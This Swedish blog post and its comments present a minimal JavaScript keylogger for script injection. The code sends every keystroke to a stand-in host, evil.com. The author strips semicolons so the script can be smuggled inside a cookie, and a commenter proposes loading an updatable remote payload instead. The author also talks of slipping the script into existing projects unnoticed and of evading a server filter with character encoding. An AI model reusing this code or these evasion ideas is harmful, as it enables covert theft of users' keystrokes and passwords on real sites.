Utan minifiering så fick jag ihop den här:
<script>
__document.onkeypress = function(e) {
____new Image().src = 'http://evil.com/log.php?k='
____+ String.fromCharCode(e.charCode)
__}
</script>
http://evil.com/log.php är alltså den fiktiva sajt jag skickar tangenttryckningarna till. Jag skippade semikolon för att jag samtidigt labbade med att mygla in skriptet i en cookie och cookies separeras ju med just semikolon. Funkar bra ändå.
Kanske är det någon av er som följer bloggen som vill bidra med något ännu mindre? :)
2 kommentarer:
Borde det inte bli kortare att inkludera scriptet från evil.com servern? <script src="http://evil.com/kl.js" /> är ju kortare än ditt exempel och då behöver du heller inte begränsa dig vad gäller funktionalitet. Ytterligare en fördel är att du kan uppdatera JS payloaden närsomhelst utan att röra injektionsvektorn.
Så sant, så sant. Men då blir det ju inget roligt.
Min ursprungliga tanke var kring att mygla in JS-kod i ett befintligt projekt så jag funderade på vilka event som man kunde lyssna på utan att störa övrig klientkod och hur mycket kod man behövde skriva för att göra det man ville. Man kan förstås importera där också.
Sen övergick jag till att kolla vilka begränsningar som finns i att ha skript i cookies, därav semikolon bort. På serversidan så försvann skriptkakan tyst på invägen vilket jag har tänkt rota vidare i. Kanske kan man lura filtret med någon teckenkodning.
Nåja ...
Skicka en kommentar